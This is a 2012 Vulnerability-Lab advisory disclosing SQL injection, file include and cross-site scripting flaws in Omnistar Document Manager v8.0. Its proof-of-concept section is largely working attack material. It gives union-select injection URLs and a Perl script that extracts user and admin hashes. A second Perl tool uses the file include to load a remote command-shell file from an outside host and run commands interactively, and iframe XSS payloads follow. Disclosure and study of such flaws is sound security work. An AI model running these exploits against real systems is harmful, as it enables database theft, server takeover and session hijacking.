384 lines
14 KiB
Text
Executable file
384 lines
14 KiB
Text
Executable file
Title:
|
|
======
|
|
Omnistar Document Manager v8.0 - Multiple Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2012-10-03
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=712
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
712
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
8.3
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
You can easily manage all of your documents with Omnistar Document Management Software. Perform multiple uploads
|
|
of large files and deliver them without using attachments. Never worry about which employees have and don t have
|
|
accounts with unlimited users. Setup user groups to manage thousands of users and set own permissions.
|
|
|
|
(Copy of the Vendor Homepage: http://www.omnistardrive.com/ )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered multiple critical Web Vulnerabilities in Omnistardrives Omnistar Document Manager v8.0.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2012-10-03: Public or Non-Public Disclosure
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
Omnistar Interactive
|
|
Product: Document Manager v8.0
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Critical
|
|
|
|
|
|
Details:
|
|
========
|
|
1.1
|
|
Multiple SQL Injection Vulnerabilities are detected in Omnistardrives Omnistar Document Manager v8.0 web application.
|
|
The sql injection vulnerability allows an remote attacker to inject own sql commands/statements on the affected application dbms.
|
|
The vulnerabilities are detected in the user portal and admin section of the application. The sql vulnerabilities can be exploitation
|
|
by remote attackers without privileged application user or admin account. The sql bugs are located index.php file with the bound
|
|
vulnerable report_id, delete_id, add_id, return_to, interface, page & sort_order parameter requests. Successful exploitation of the
|
|
vulnerabilities results in application dbms compromise & dbms manipulation via sql injection.
|
|
|
|
Vulnerable Section(s):
|
|
[+] /user
|
|
[+] /admin
|
|
|
|
Vulnerable Module(s):
|
|
[+] index.php
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] report&id=
|
|
[+] sort_order
|
|
[+] delete&id=
|
|
[+] page=
|
|
[+] interface=
|
|
|
|
|
|
1.2
|
|
A local file include vulnerability is detected in Omnistardrives Omnistar Document Manager v8.0 web application.
|
|
The vulnerability allows a local privileged user account to include and load local system files. The vulnerability
|
|
is located in the index module with the bound vulnerable area parameter request. Successful exploitation of the
|
|
vulnerability results in a web server compromise via file load or information disclosure via local system file include.
|
|
|
|
|
|
Vulnerable Section(s):
|
|
[+] /user
|
|
[+] /admin
|
|
|
|
Vulnerable Module(s):
|
|
[+] index.php
|
|
[+] class.inc.php
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] area=
|
|
|
|
|
|
|
|
1.3
|
|
Multiple non persistent cross site scripting vulnerabilities are detected in Omnistardrives Omnistar Document Manager v8.0 web application.
|
|
The vulnerabilities allow remote attackers to hijack administrator/moderator/customer sessions via persistent malicious script code inject
|
|
on application side. The vulnerabilities are located in the interface exception-handling module of the application with the client side
|
|
bound vulnerable interface, act, name & alert_msg parameter requests.
|
|
|
|
|
|
Vulnerable Section(s):
|
|
[+] /user
|
|
[+] /admin
|
|
|
|
Vulnerable Module(s):
|
|
[+] index.php
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] interface
|
|
[+] act
|
|
[+] name
|
|
[+] alert_msg
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
1.1
|
|
The sql injection vulnerabilities can be exploited by remote attackers without required user inter action and without privileged application
|
|
user account. For demonstration or reproduce ...
|
|
|
|
https://127.0.0.1:1338/[PATH]/index.php
|
|
?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=report&id=-1' union all select 1,2,3,4,()database,6--
|
|
|
|
https:/127.0.0.1:1338/[PATH]/index.php
|
|
?area=main&interface=users&sort_by=1&sort_order=ASC&page=-1%27&return_to=@list&act=list&sort_by=first_name&sort_order=-1' union all select 1,2,3,4,()database,6--
|
|
|
|
https://127.0.0.1:1338/[PATH]/index.php
|
|
?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=-1' union all select 1,2,3,4,()database,6--
|
|
|
|
https://127.0.0.1:1338/[PATH]/index.php
|
|
?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=-1' union all select 1,2,3,4,()database,6--
|
|
|
|
https://127.0.0.1:1338/[PATH]/index.php
|
|
?interface=-1' union all select 1,2,3,4,()database,6--&alert_msg=1337
|
|
|
|
https://127.0.0.1:1338/[PATH]/index.php
|
|
?area=main&interface=recycle_bin&act=list&sort_by=1&sort_order=ASC&page=-1' union all select 1,2,3,4,()database,6--
|
|
&return_to=-1' union all select 1,2,3,4,()database,6--
|
|
|
|
|
|
#!/usr/bin/perl
|
|
|
|
use IO::Socket;
|
|
if(@ARGV < 1){
|
|
print "
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
> Remote SQL-Injection Exploit - Omnistar Document Manager v8.0
|
|
> ---
|
|
> $file ... can also be exchanged with the following parameters ---
|
|
> $file2 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=delete&id=";
|
|
> $file3 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=-1%27&return_to=@list&act=list&sort_by=first_name&sort_order=";
|
|
> $file4 = "/[INCLUDE PATH]/index.php?area=main&interface=users&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=report&id=";
|
|
> $file5 = "/[INCLUDE PATH]/index.php?area=main&interface=recycle_bin&act=list&sort_by=1&sort_order=ASC&page=";
|
|
> ---
|
|
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
";
|
|
exit();
|
|
}
|
|
$server = $ARGV[0];
|
|
$server =~ s/(http:\/\/)//eg;
|
|
$host = "http://".$server;
|
|
$port = "80";
|
|
$file = "/[INCLUDE PATH]/index.php?interface=";
|
|
|
|
print "Script <DIR> : ";
|
|
$dir = <STDIN>;
|
|
chop ($dir);
|
|
|
|
if ($dir =~ /exit/){
|
|
print "[+] Exploit Failed\n";
|
|
exit();
|
|
}
|
|
|
|
if ($dir =~ /\//){}
|
|
else {
|
|
print "[+] Exploit Failed\n";
|
|
exit();
|
|
}
|
|
|
|
print "User <ID> : ";
|
|
$ID = <STDIN>;
|
|
chop ($ID);
|
|
|
|
if ($ID =~ /exit/){
|
|
print "[+] Exploit Failed\n";
|
|
exit();
|
|
}
|
|
|
|
$len=length($ID);
|
|
|
|
if ($len == 1){}
|
|
else {
|
|
print "[+] Exploit Failed\n";
|
|
exit();
|
|
}
|
|
|
|
$target = "-1+union+all+select+1,2,3,4,concat(X,0x3a,X,0x3a,X),6,7,+from+user+limit+1,1/*".$ID;
|
|
$target = $host.$dir.$file.$target;
|
|
|
|
print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
|
|
print "[+] Verbinden zu ... [> : $server\n";
|
|
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "[+] Verbindungsaufbau fehlgeschlagen...!\n";
|
|
print $socket "GET $target HTTP/1.1\n";
|
|
print $socket "Host: $server\n";
|
|
print $socket "Accept: */*\n";
|
|
print $socket "Connection: close\n\n";
|
|
print "[+] Connected!...\n";
|
|
while($answer = <$socket>) {
|
|
if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
|
|
print "[+] Exploiting the System! Grab Admin-HASH\n";
|
|
print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
|
|
print "[+] Clear Username: $1\n";
|
|
}
|
|
|
|
if ($answer =~ /Syntax error/) {
|
|
print "+ Exploit Failed : ( \n";
|
|
print "[+] SYNTAX ERROR! Request: bkm@vulnerability-lab.com";
|
|
exit();
|
|
}
|
|
|
|
if ($answer =~ /Internal Server Error/) {
|
|
print "+ Exploit Failed : ( \n";
|
|
print "[+] INTERNEL ERROR! Check out your Ressources";
|
|
exit();
|
|
}
|
|
break;
|
|
}
|
|
close($sock);
|
|
|
|
|
|
1.2
|
|
The local file include vulnerability can be exploited by local low privileged user account without required user inter action.
|
|
For demonstration or reproduce ...
|
|
|
|
https://127.0.0.1:1338/[PATH]/index.php?area=../../[LOCAL FILE INCLUDE VULNERABILITY!]/&..
|
|
https://127.0.0.1:1338/[PATH]/index.php?area=http://[LOCAL FILE INCLUDE VULNERABILITY!]&..
|
|
|
|
#!/usr/bin/perl
|
|
|
|
use LWP::UserAgent;
|
|
|
|
$Path = $ARGV[0];
|
|
$Pathtocmd = $ARGV[1];
|
|
$cmdv = $ARGV[2];
|
|
|
|
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
|
|
|
|
head();
|
|
|
|
while()
|
|
{
|
|
print "[shell] \$";
|
|
while(<STDIN>)
|
|
{
|
|
$cmd=$_;
|
|
chomp($cmd);
|
|
|
|
$xpl = LWP::UserAgent->new() or die;
|
|
$req = HTTP::Request->new(GET =>$Path.'[INCLUDE PATH HERE!]/index.php?area='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
|
|
|
|
$res = $xpl->request($req);
|
|
$return = $res->content;
|
|
$return =~ tr/[\n]/[....]/;
|
|
|
|
if (!$cmd) {print "\nBitte geben sie ein Kommando ein\n\n"; $return ="";}
|
|
|
|
elsif ($return =~/Stream ?ffnen fehlgeschlagen: HTTP Request fehlgeschlagen/ || $return =~/: Kommando Zeile Angeben! <b>/)
|
|
{print "\nKann keine Verbindung zum CMD HOST aufbauen oder Ung?ltige Kommando Variable\n";exit}
|
|
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nUng?ltiges Kommando oder Kein Eingabe\n\n"}
|
|
|
|
if($return =~ /(.*)/)
|
|
|
|
{
|
|
$finreturn = $1;
|
|
$finreturn=~ tr/[....]/[\n]/;
|
|
print "\r\n$finreturn\n\r";
|
|
last;
|
|
}
|
|
|
|
else {print "[shell] \$";}}}last;
|
|
|
|
sub head()
|
|
{
|
|
print "\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n";
|
|
print " >> Local File Include Vulnerability - Omnistar Document Manager v8.0 (?area=) \r\n";
|
|
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n";
|
|
}
|
|
sub usage()
|
|
{
|
|
head();
|
|
print " Usage: exploitname.pl [TARGET] [CMD SHELL location] [CMD SHELL Variable]\r \n\n";
|
|
print " <Seite> [Full Path] [http://www.webseite.com/] \r\n";
|
|
print " <CMD SHELL> <Path to CMD Shell> <http://www.seite.com/cmdfile.txt> \r\n";
|
|
print " <CMD VARIABLE> - Command variable - PHP SHELL \r\n";
|
|
print "============================================================================\r\n";
|
|
print " by ~BKM AKA Rem0ve \r\n";
|
|
print " www.vulnerability-lab.com \r\n";
|
|
print "============================================================================\r\n";
|
|
exit();
|
|
}
|
|
|
|
|
|
1.3
|
|
The client side cross site scripting vulnerabilities can be exploited by remote attackers without required application user account and with
|
|
low or medium user inter action by an administrator/moderator/customer. For demonstration or reproduce ...
|
|
|
|
<html>
|
|
<head><body>
|
|
<title>Omnistar Document Manager v8.x - Client Side Cross Site Scripting PoC</title>
|
|
<iframe src=https://127.0.0.1:1338/[PATH]/index.php?interface=folder_groups-%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E>
|
|
<iframe src=https://127.0.0.1:1338/[PATH]/index.php?area=main&interface=backup_restore-%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E>
|
|
<iframe src=https://127.0.0.1:1338/[PATH]/index.php?interface=custom&act=user_fields-%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E>
|
|
<iframe src=https://127.0.0.1:1338/[PATH]/index.php?area=main&interface=anonymous_review&act=anonymous_root-%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E>
|
|
<iframe src=https://127.0.0.1:1338/[PATH]/index.php?interface=[SQL]&alert_msg=-%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E>
|
|
<iframe src=https://127.0.0.1:1338/[PATH]/index.php?area=main&interface=documents&sort_by=1&sort_order=ASC&page=1&return_to=@list&act=x&category=-%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E>
|
|
</body></head>
|
|
</html>
|
|
|
|
|
|
Risk:
|
|
=====
|
|
1.1
|
|
The security risk of the remote sql injection vulnerabilities are estimated as critical.
|
|
|
|
1.2
|
|
The security risk of the local file include vulnerability is etimated as high(-).
|
|
|
|
1.3
|
|
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+)|(-)medium.
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
|
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright ? 2012 | Vulnerability Laboratory
|
|
|
|
--
|
|
VULNERABILITY RESEARCH LABORATORY
|
|
LABORATORY RESEARCH TEAM
|
|
CONTACT: research@vulnerability-lab.com
|
|
|